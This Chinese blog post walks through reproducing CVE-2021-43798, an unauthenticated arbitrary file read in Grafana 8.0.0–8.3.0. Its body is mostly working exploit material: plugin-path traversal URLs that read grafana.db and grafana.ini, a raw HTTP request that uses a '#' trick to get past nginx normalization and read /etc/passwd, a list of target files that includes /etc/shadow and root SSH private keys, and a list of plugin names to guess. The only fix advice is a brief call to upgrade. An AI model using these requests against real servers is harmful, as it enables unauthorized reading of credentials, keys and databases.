CVE-2021-43798 Grafana任意文件读取复现

0x00 概述

Grafana是一个完全开源的度量分析与可视化平台,可对来自各种各种数据源的数据进行查询、分析、可视化处理以及配置告警。

Grafana的读取文件接口存在未授权,且未对文件地址进行过滤,导致可以目录穿越/../../../../../../../../../os filepath实现系统任意文件读取。

0x01 漏洞影响范围

Grafana 8.0.0 - 8.3.0

安全版本

Grafana >= 8.3.1

Grafana >= 8.2.7

Grafana >= 8.1.8

Grafana >= 8.0.7

0x02 漏洞复现

plugins的控制器就存在问题,只要插件存在,便会加载后面路径的文件,并且可以通过../../跨目录。此漏洞是只要装了插件,且黑客能猜到插件名称就能利用:

7ea8742c286069ab9af0d52e87c8d6a9.png

ced1886255407a859ef664a7119f500e.png

/public/plugins/cloudwatch/../../../../../../../../var/lib/grafana/grafana.db也可以读db文件。

b48d3bb3b28f9efd1946fd6fa4ae950d.png

/public/plugins/cloudwatch/../../../../../../../../etc/grafana/grafana.ini

27a022c8596e768f5bfc28f2aaf1a824.png

0x03 绕过Nginx 400

目前已经部署的Grafana会有很多被nginx/apache等中间件反向代理的情况,有的中间件的URI_normalization机制导致URL被标准化。

在一些nginx反代环境中仍可绕过,例如:

# proxy_grafana.conf

server {

    listen         8081;

    server_name    127.0.0.1;

    charset        utf-8;

    location / {

        proxy_pass http://192.168.1.100:3000;

    }

}

# BurpSuite

GET /public/plugins/text/#/../../../../../../../../../../etc/passwd HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: CVE-2021-43798

Connection: close

Upgrade-Insecure-Requests: 1

即可绕过。

0x04 其他重要文件

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

0x05 其他常见插件列表

text
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline

0x06 修复建议

请尽快升级。

长按下方图片关注我们:

df86bd56d8a4f9ae28a60d147ea95f42.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值